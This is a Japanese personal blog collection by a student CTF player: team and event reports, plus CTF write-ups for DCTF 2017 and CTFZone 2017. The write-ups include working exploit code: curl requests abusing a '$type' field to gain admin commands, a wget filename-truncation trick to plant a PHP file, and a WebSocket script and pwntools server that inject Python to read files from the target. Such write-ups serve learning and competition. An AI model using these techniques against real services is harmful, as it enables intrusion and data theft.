Team:Harekazeに入ってからもうすぐ一年

これは

adventar.org

の2日目の記事です。

一日目はhiwwさんの

hiww.hatenablog.com

でした。

僕がTeam:Harekazeに入ってからもうすぐ一年が経ちます。

Harekazeに入ったきっかけはTwitterでチームを募集してたところをたまたまhiwwさんに声をかけてもらったところからだと思います。

Harekazeに入って初めてのCTFはSECCONCTF2016でしたが正直いってあまり貢献はできませんでした。

HarekazeはもともとSECCONCTF2016のために結成されたチームだったので、貢献できなかったのは残念でした。

しかし、幸運なことにHarekazeはこのあとも活動を続け、自分がチームに貢献できたと言えるような出来事もいくつかありました。

初期で言えば、Harekazeロゴの作成では一部協力していました。なかなかカッコ可愛いロゴになったかと思います。

Harekazeのロゴステッカーが欲しい方はお近くのHarekazeメンバーに言ってもらえれば在庫があれば渡せるかと思います。

最近ではPwnがそこそこできるようになってきたので、CTFでも貢献できるようになってきたのは嬉しいことです。

チームに入ってよかったなと思うのは、やはりチームの方々と交流できることと一緒に問題を解けることです。

自分が全くわからない問題でもチームメンバーの取り組み方をみて試行錯誤できるのはチーム戦の面白いところだと思います。

現在は自分が発足した企画もあるので、それに関してはちゃんと活動していきたいところですね。

さて、来週はいよいよSECCONCTF2017のオンライン予選があります。今年は去年よりも貢献して、欲を言えば国際予選に出れる順位を取れたらいいなと考えています。

ではHarekaze各位のみなさん、マイペースでいいのでこれからも頑張っていきましょう!

Kernel/VM探検隊@関西 8回目 & 第9回 自作OSもくもく会 参加記

第7期サイボウズ・ラボユース研究生 の川田(@megumish)です。

サイボウズ・ラボユースについては以下の僕の記事を見てみてください。

diary.megumi.sh

要は技術に興味のある学生にプロフェッショナル達が技術に関する支援をしてくれる制度というわけです。

上の記事では人狼知能の補助ツールを開発するということになっていますが

ラボユースではそのときに強く興味のあることを支援してくれるということで、今はExploit・Pwnに関する研究をしています。

Kernel/VM探検隊@関西 8回目

Kernel/VM探検隊(以下 k/vmと呼ぶ)はカーネル仮想マシンの話など低レイヤーな話題について有志が発表しあう会です。

このk/vmには一度北陸で参加して発表したことがあります。(本当の初心者である自分はごく簡単な発表をした程度でしたが……。)

前回もそうでしたが、今回もマニアックでレベルの高い発表ばかりでした。

そのため、浅学の私に理解できるのは自分が普段やっているところに近いところ(Exploitやバイナリ解析周り)だけでした。

これはCTFの話の後の質問の時にCharoさんが話してくれた言葉ですが、「CTFの問題は現実世界ではミニチュア」ということなので

k/vmで大半を占める現実世界のコンピュータ周りの話も今最も興味のあるCTFの分野でも活かせるんじゃないかと感じました。

さて、自分の聞いた発表の中でも面白かったものを適当にピックアップしていきたいと思います。

No RELROとPartial RELROの違い

Exploit・PwnにおいてFull RELROとParital RELROの違いは再配置されるライブラリ関数のポインタを書き換えられるか否かとして注目されているものでした。

当然これは自分も毎回Pwn問を解く上で気にしていたことでした。しかし、今回解説されたCTFの問題はPartial RELROとNo RELROの違いに気をつけなければならない問題でした。

No RELROとPartial RELROの違いは再配置されたライブラリ関数の最初の呼び出し時にあります。

No RELROはPartial RELROとは違い文字列(名前)によるライブラリ関数のアドレスの解決をします。

だから、その文字列を指すポインタを書き換えてしまえば、任意の関数が呼び出せてしまうという脆弱性がつけるのです。

CTFは現実世界のミニチュア

CTFについての話の後、発表者の方にCTFの問題を解く以外にCTFの問題を思いつくときはあるのかという質問をしてみました。

現実のソースコードやプログラムの動作を追っていく中で思いつくものはあるとのことでした。

またCTFは現実世界のミニチュアということも言っていました。

Nintendo Switch のバイナリ

CTFで出されるバイナリとしてはELFフォーマットがほとんどですが、ごくまれにGameBoyAdvanceのバイナリが問題として出されることもあります。

自分がCTFが楽しいと感じる理由はほとんどが未知のオブジェクトを少しずつ解析していくところなのですが、こういった現実世界のバイナリを解析するのも面白いんじゃないかと感じました。

Nintendo Switchのバイナリは単一でなくライブラリ(.so的なもの)も含まれているということで、さらに解析の面白さがあるのではないかと感じたので、いつか触れてみたいところです。

その他

その他にもVMMの話やUSB3.0デバイスドライバの話、さらにそれをユーザー空間で動かす話、新しいリンカlddなど面白いものがありました。

自分もそういうものに触れることでより奥深い未知の世界を探検していきたいですね。

第9回 自作OSもくもく会

さて、k/vmの翌日には自作OSもくもく会というものに参加してきました。

今回はもくもく会ということで Operating System Concepts というOSの概念について書かれた本を読んできました。

スライドです。

speakerdeck.com

CBCTF2017 オンサイトに参加してきた。

CBCTF2017オンサイトにチームMegPwnで参加してきました。

ただし、二日目からは運営の方からHarekazeで参加してもいいよと聞いたのでHarekazeで参加していました。

自分は一問 Pwn問のWarmup問を解きました。

運営はTokyo Westerns と binja、オンサイト参加者には 217 と Cykor というめちゃ強い方々がいる中ずっと隅っこでPwn問の解析をしていました。

なかなか疲れましたが、いい経験だったと思います。

一日目、一緒に食事に行ったヴァネロピさん、ヨハネスさん、けいとさんありがとうございました。CTFで何も解けず摩耗していた中、楽しい時間でした。

また、会場に来て応援してくださったしーまさん、nonoさん、banbanさん、りいんちゃんさんありがとうございました。正直一人で問題に向かっていてかなりキツかったので助かりました。

最後に運営のTokyo Westerns、binjaの皆さん、楽しいCTFをありがとうございました。僕もいつか頑張って、qualのあるオンサイトコンテストで会いたいなと思いました。

Don't net, kids!

Exploit!!!!

@st98 さんの解析により以下のコマンドが実行できそうでした。

` // Token: 0x0400000A RID: 10 private readonly List _guestActions = new List { "authenticate" };

    // Token: 0x0400000B RID: 11
    private readonly List<string> _userActions = new List<string>
    {
        "get",
        "set",
        "list"
    };

    // Token: 0x0400000C RID: 12
    private readonly List<string> _adminActions = new List<string>
    {
        "readflag"
    };

`

コマンド送信例:

# curl https://dotnot.dctf-quals-17.def.camp/api/command -d '{"command":{"userid":"b59b4158-02f6-4075-9384-7d5c32e524fc","action":"set","query":"hoge","value":"fuga"}}'
{"UserId":"b59b4158-02f6-4075-9384-7d5c32e524fc","Action":"set","Query":"hoge","Value":"fuga","Response":"Value updated!","Error":null}

また、このコマンドを送るときjsonのデータに不要なものを入れておいてもそれが反映されているようでした。

なので$typeを使って、型をCommandからAdminCommandにキャストすると、readflagが使えるようになり終わりです。

echo -en '{"command":{"$type":"DCTFNetCoreWebApp.Models.AdminCommand, DCTFNetCoreWebApp","userid":"21b20836-19c9-45d7-9721-101fadd24233","action":"readflag","query":null}}' | curl https://dotnot.dctf-quals-17.def.camp/api/command -d @-

フラグ:DCTF{4e388d989d6e9cfd2ba8a0ddf0f870c23c4936fabfc5c271d065a467af96e387}

ちなみにdllの解析にはdnSpyを使ったとのことです。

EXIF data analyzer

どんな問題?

まず下記のリンクが問題文にあります。

https://exif-analyzer.dctf-quals-17.def.camp/flag.php

これだけだと???という感じですが

flag.phpを消して、indexページに飛ぶと問題があります。

f:id:megumish:20171003211705p:plain

さらに ?sourceとリンクに付け加えておくと

そのソースが確認できます。

 <?php

error_reporting(E_ALL);
ini_set('display_errors', 1);

if (isset($_GET['source'])) {
    echo highlight_file(__FILE__);
    die();
}

function download($url) {

    $flags   = FILTER_FLAG_SCHEME_REQUIRED | FILTER_FLAG_HOST_REQUIRED | FILTER_FLAG_PATH_REQUIRED;
    $urlok   = filter_var($url, FILTER_VALIDATE_URL, $flags);

    if (!$urlok) {
        throw new Exception('Invalid URL');
    }

    $parsed = parse_url($url);

    if (!preg_match('/^https?$/i', $parsed['scheme'])) {
        throw new Exception('Invalid URL: scheme must be HTTP or HTTPS');
    }

    $host_ip = gethostbyname($parsed['host']);
    $flags   = FILTER_FLAG_IPV4 | FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE;
    $ipok    = filter_var($host_ip, FILTER_VALIDATE_IP, $flags);

    if ($ipok === false) {
        throw new Exception('Invalid URL: host not allowed');
    }

    $file = pathinfo($parsed['path']);
    $filename = $file['basename'];
    $extension = strtolower($file['extension']);
    $whitelist = ['png', 'gif', 'jpg'];

    if (!in_array($extension, $whitelist)) {
        throw new Exception('Extension not allowed');
    }

    // re-assemble safe url
    $safe_url = "{$parsed['scheme']}://{$parsed['host']}";
    $safe_url .= isset($parsed['port']) ? ":{$parsed['port']}" : '';
    $safe_url .= $parsed['path'];

    $uploads   = getcwd() . '/uploads/';
    $timestamp = date('md-Hi');
    $suffix    = bin2hex(openssl_random_pseudo_bytes(8));
    $userdir   = "${uploads}/${timestamp}_${suffix}";

    if (!is_dir($userdir)) {
        mkdir($userdir);
    }

    $cmd = "cd $userdir; timeout 3 wget " . escapeshellarg($safe_url) . " 2>&1";
    $output = shell_exec($cmd);

    return [
        'output' => $output,
        'cmd' => $cmd,
        'file' => "$userdir/$filename",
    ];
}

function analyze($file) {

    if(!is_file($file)) {
        throw new Exception('File not found');
    }

    return exif_read_data($file, NULL, true);
}

$error = false;
$result = false;
$output = '';
$cmd = '';

if (isset($_REQUEST['url'])) {

    try {
        $download = download($_REQUEST['url']);
        $output = $download['output'];
        $filepath = $download['file'];
        $cmd = $download['cmd'];
        $result = analyze($filepath);

    } catch (Exception $ex) {
        $result = $ex->getMessage();
        $error = true;
    }
}

?>
<!DOCTYPE html>
<html>
<head>
    <title>EXIF dump</title>
</head>
<body>

    <h1>EXIF dump</h1>

    <?php if ($result !== false): ?>
        <div>
            <?php if ($error): ?>
                <h3>Something spooky happened:</h3>
                <p><?php echo htmlentities($result); ?></p>
            <?php else: ?>
                <h3>Here's what we've found:</h3>
                <table>
                    <?php foreach($result as $key => $section): ?>
                        <?php foreach($section as $name => $value): ?>
                            <tr>
                                <td><?php echo htmlentities("$key.$name"); ?></td>
                                <td><?php echo htmlentities($value); ?></td>
                            </tr>
                        <?php endforeach; ?>
                    <?php endforeach; ?>
                </table>
            <?php endif; ?>
        </div>
        <div>
            <h4>Output:</h4>
            <pre>CMD: <?php echo htmlentities($cmd); ?></pre>
            <pre><?php echo htmlentities($output); ?></pre>
        </div>
    <?php endif; ?>

    <div>
        <p>Specify an URL of an image to view its EXIF data:</p>
        <form method="post">
            <label>
                <input type="url" name="url" placeholder="http://domain.tld/path/to/image.png">
            </label>
            <input type="submit" value="Analyze">
        </form>
    </div>

    <footer>
        <a id="src" href="?source" target="_blank" title="view source"><small>view source</small></a>
    </footer>

</body>
</html>

<script>document.getElementById('src').href = 'view-source:' + location.href;</script>
1

先に答えを言っておくと、wgetするときにファイル名に長さ制限があり、長すぎると省略されて.jpgのような画像ファイルの拡張子以外のも保存することが出来ます。

例えば AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.jpg

のようにしておくと.jpgが省略され

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php

と言った感じです。(実際のAの数は自分で調べといてください)

それを利用して、.phpファイルをおいておき、flag.phpを表示すればこの問題のフラグが入手できます。

どうやって脆弱性を発見したか

ではどのようにしてこの脆弱性を発見したかというと、 exif_read_dataBoF脆弱性があると聞き、じゃあファイル名長くしようとしたらたまたまこ脆弱性を発見した次第です。

flag

DCTF{0c52b82e474afc7c06da92d221ffe9361330d9395978e633cdbf01a173d07aa4}

またphpファイルはAWSを使い設置しました。

このときAWSに久しぶりにログインしたら毎月2000円課金していたという事実に気づき、結構ショックでした。

CTFZone 2017 [Web Pwn] Mr.President Feedback

チームHarekazeで参加して、合計1147点で25位でした。 この問題の最終的な点数は460点です。

どんな問題?

以下のようなフォームが与えられます。

f:id:megumish:20170717194441p:plain

ただし、CAPTCHAの数式に答えてこのフォームを投稿しても意味はありません。

なぜなら/dev/null宛だからです。(本当に/dev/nullに送ってるというわけではなく、/dev/nullというパスにPOSTされるだけ。)

重要なのはCAPTCHAの生成や判定にWebSocketでの通信を行っていることでした。

Exploit!

ソースコードを見てみるとWebSocketでどんな通信を行っているのかがわかります。

sendメソッドがデータを送るメソッドで、onopenがソケットが開かれた時(つまり通信開始時)、onmessageがデータを受信した時に呼ばれるメソッドです。

function generate() {
    $("#msg").empty()
    ws.send(JSON.stringify({"method": "generate"}))
}
function validate() {
    hash = $("pre").attr("id")
    ws.send(JSON.stringify({"method": "check", "args": [hash, $("#answer").val()]}))
}
function createWebSocket(path) {
    var protocolPrefix = (window.location.protocol === 'https:') ? 'wss:' : 'ws:';
    return new WebSocket(protocolPrefix + '//' + location.host + path);
}


ws = createWebSocket(location.pathname + "feed");
ws.onopen = function() { generate()};
 
ws.onmessage = function(evt) { 
    data = JSON.parse(evt.data)
    if (data["status"] == "error") {
        alert(data["info"])
    } else  if (data["method"] == "generate") {
        $("#msg").append("<pre id=" + data["result"]["hash"] + ">"+ data["result"]["text"] + "</pre>"); 
    } else if (data["method"] == "check") {
        if (data["result"] == "Valid") {
            $("#submitBtn").prop('disabled', false);
        }
        alert(data["result"]);
        generate();
    }
    else if (data["method"] == "help") {
        alert(data["result"]);
    }
};

onopen、onmessageに関してはこちらで決めることができるので、新しくソケットを作りどんなデータを受信しているのか確認してみることにします。

exploit_ws = new WebSocket('ws://82.202.226.240/feed');
exploit_ws.onmessage = function(evt) { 
    console.log(evt);
};

こうすることでブラウザの開発者ツールによるconsoleデバッグが可能になります。

本家のソースコードを真似ると、送信可能なメッセージは次のような形式になります。

本家はJSON.stringifyを使っていますが、今回は直接JSON形式の文字列を入れていきます。

exploit_ws.send('{"method":"method_name", "args":[argv..]}');

これで相手側のメソッドに好きな引数を与えることが出来ます。

でもこのままだと言語も特定できずにやることがわからないので、まずはエラーをいくつか出して特定してみましょう。

そのために以下のような不正なメッセージをあえて送ってみます。

exploit_ws.send('{"method":"check", "args":[{文字列と数値以外の値}]}');
exploit_ws.send('{"method":"{絶対に存在しなさそうな関数の値}"}');

するとエラー文が出ます。それをそのまま検索するなり、勘と経験を使うなりして判断すると言語としてPythonが使われているということがわかりました。

もしかしたらただ分岐してメソッドを呼び出してる可能性もありますが、とりあえずその可能性は置いといて、メンバ関数を直接呼び出していると仮定すると

__dir__ を呼び出すと、全てのメンバが明らかになります。

今回は本当にメソッドを直接呼び出している形式だったので呼ぶことが出来ました。

exploit_ws.send('{"method":"__dir__"}');
(dataだけを抜粋)
data:"{"result": ["_server", "_port", "_table", "__module__", "_sock", "_last", "__init__", "reconnect", "operations", "generate", "check", "help", "__dict__", "__weakref__", "__doc__", "__slotnames__", "__repr__", "__hash__", "__str__", "__getattribute__", "__setattr__", "__delattr__", "__lt__", "__le__", "__eq__", "__ne__", "__gt__", "__ge__", "__new__", "__reduce_ex__", "__reduce__", "__subclasshook__", "__init_subclass__", "__format__", "__sizeof__", "__dir__", "__class__"], "method": "__dir__", "status": "ok"}"

色々ありますが、重要なのは _port_sock です。これを __setattr__ メソッドで変えることが出来るのが今回の肝となってきます。

portとsockを変えるとなんと自分の用意したサーバーで通信できるようになります。

実際に出来ることはgenerateのときにCAPTCHAで生成する数式の間の演算子とその画像(というか文字列)を指定できます。

ではここで2つ気になる点があります。それは

  1. 演算子は好きなものを指定できる。

  2. 答えは勝手に計算される。

ことです。試しに演算子*0# を入れてみると、答えは0になりました。つまり、これは任意のコードを実行できるということにほかなりません。

次に下のような2つのコードとサーバー側のスクリプトを用意します。

exploit_ws = new WebSocket('ws://82.202.226.240/feed');
exploit_cnt = 0
leak_str = ""
exploit_ws.onmessage = function(evt) { 
    data = JSON.parse(evt.data);
    if (data["method"] == "check") {
        if (data["result"] == "Valid") {
            leak_str += String.fromCharCode(exploit_cnt)
            exploit();
            console.log(leak_str);
            exploit_cnt = 0;
        }
        else {
        exploit_cnt++;
        }
    }
};
function exploit(){
    exploit_ws.send('{"method":"generate"}');
    exploit_cnt = 0;
    for(var i=0;i < 200; i++) {
        //数式を表す画像によってhash値が決まるがここでは'\n'を指定していて、そのハッシュ値は65581a86911b71d6ed073981562b24a2になる。
        exploit_ws.send('{"method":"check", "args":["65581a86911b71d6ed073981562b24a2", ' + String(i) + ']}')
    }
}
#サーバー側のコード
from pwn import *

context.log_level = 'debug'

l = listen(10000)
_ = l.wait_for_connection()
cnt = 100
while True:
    l.recvuntil('supported_operations')
    payload = "*0+ord(open(__import__('os',globals(),locals(),[],0).listdir('.')[15]).read()[%d])#" % cnt
    # __import()で import文と同様のことが出来る。
    #payload = "*0+ord(','.join(__import__('os',globals(),locals(),[],0).listdir('.'))[%d])#" % cnt
    #payload = "*0+ord(open('devnull').read()[%d])#" % cnt
    l.send(payload)
    l.recvuntil('translate')
    l.send('\n')
    cnt += 1

あとは サーバー側のpayloadを調節して、ファイルの一覧を作ったりして把握してフラグの入ったファイルを特定すれば終わりです。

しかし、実際にはフラグが入ってるっぽいファイルがなかったので適当にソースコードを覗いてみたところフラグが見つかりました。

SALT = b'ctfzone{87a55d7e34aae098be0316df6b8035e4}'

フラグctfzone{87a55d7e34aae098be0316df6b8035e4}

感想

取得するときに文字列が化けてつらかった。もっと短くして欲しい。

あと今回は線形探索で一文字ずつ探索したけど、実際は二分探索で二文字ずつ探索しても良かったのかなと思った。

問題はとても面白かったと思います。

おわり

第7期サイボウズ・ラボユースに人狼知能プロジェクトに関わるアイディアで採択されました。

サイボウズ・ラボユースとは

サイボウズ・ラボユースはCybozuLabsによる学生支援制度です。

ラボユース生及び研究生となったものはCybozuLabsの優秀な方の指導のもと、なんと"自分の好きな"活動を支援してもらえます。

もともとは技術力のある若者が他のアルバイトをやっている時間を有効活用して欲しいという志のもと始まったプロジェクト[要出典]なのでラボユース生になればお金を稼ぐことも出来ます。

ラボユースは関東在住の方を対象にしているプロジェクトですが、僕は関東在住ではないのにとりあえずやりたいことがあったので応募してみることにしました。

すると嬉しいことに遠隔からオンラインでの参加も良いということで、(オンラインでの参加のため)一ヶ月間の様子見期間としてラボユース研究生(こちらは支援はあるが無給)として採用されることになりました。

今後一ヶ月の活動次第ではラボユース生になることも可能らしいです。

僕のプロジェクトについて

僕のプロジェクトの目的は人狼知能プロジェクトにおけるサーバーの機能の改善・拡充を図り、中間目標として自分で人狼知能対戦サービスを運用すること、最終的な目標として人狼知能プロジェクト公式のサーバーとして採用 してもらうことです。

過去のプロジェクトを見るとOSやプログラミング言語はたまた暗号のライブラリのような汎用的・基礎的なものが並ぶ中、今回僕が応募したのは特定の一部のことに関するプロジェクトになります。

このサーバーを完成させることで更なる人狼知能プロジェクトの発展、敷いては人工知能技術の発展に寄与できるように頑張りたいと思います。

まだまだ至らぬところが多くありますが、メンターの方の力添えのもと自分の考えうるアイディアを実現していきたいです。